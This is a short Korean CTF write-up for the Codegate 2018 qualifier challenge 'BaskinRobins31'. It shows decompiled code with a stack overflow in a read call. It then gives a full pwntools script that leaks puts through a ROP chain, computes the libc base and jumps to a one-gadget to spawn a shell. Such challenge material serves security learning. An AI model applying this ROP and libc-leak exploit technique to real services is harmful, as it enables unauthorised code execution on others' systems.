Codegate Baskinrobins31 Writeup

LeeDoHyun · March 18, 2020

본 문제는 Codegate 2018 예선에 나온 ROP 문제입니다.

your turn 함수를 디컴파일해보면,

signed __int64 __fastcall your_turn(_DWORD *a1)
{
  signed __int64 result; // rax
  char s; // [rsp+10h] [rbp-B0h]
  size_t n; // [rsp+B0h] [rbp-10h]
  int v4; // [rsp+BCh] [rbp-4h]

  v4 = 0;
  memset(&s, 0, 0x96uLL);
  puts("How many numbers do you want to take ? (1-3)");
  n = read(0, &s, 0x190uLL);                    // overflow
  write(1, &s, n);
  putchar(10);
  v4 = strtoul(&s, 0LL, 10);
  if ( check_decision(v4, 0LL) )
  {
    *a1 -= v4;
    result = 1LL;
  }
  else
  {
    puts("Don't break the rules...:( ");
    result = 0LL;
  }
  return result;
}

라는 코드가 나오는데 n = read(0, &s, 0x190uLL); 이부분에서 오버플로우가 터집니다.

간단하게 puts릭해준뒤 원샷을 넣어 쉘을 얻을 수 있습니다.

ex.py

from pwn import *

context.log_level = "debug"
r = process("./BaskinRobins31")
e = ELF("./BaskinRobins31")
libc = e.libc

pop_rdi = 0x400bc3
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
your_turn = e.symbols["your_turn"]

payload = "A"*(0xB0 + 0x8)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(your_turn)
r.sendline(payload)

puts_leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
base = puts_leak - libc.symbols["puts"]
oneshot = base + 0x4526a

payload = "A"*(0xB0 + 0x8)
payload += p64(oneshot)
payload += p64(0) * 8
r.sendline(payload)
r.interactive()

Twitter, Facebook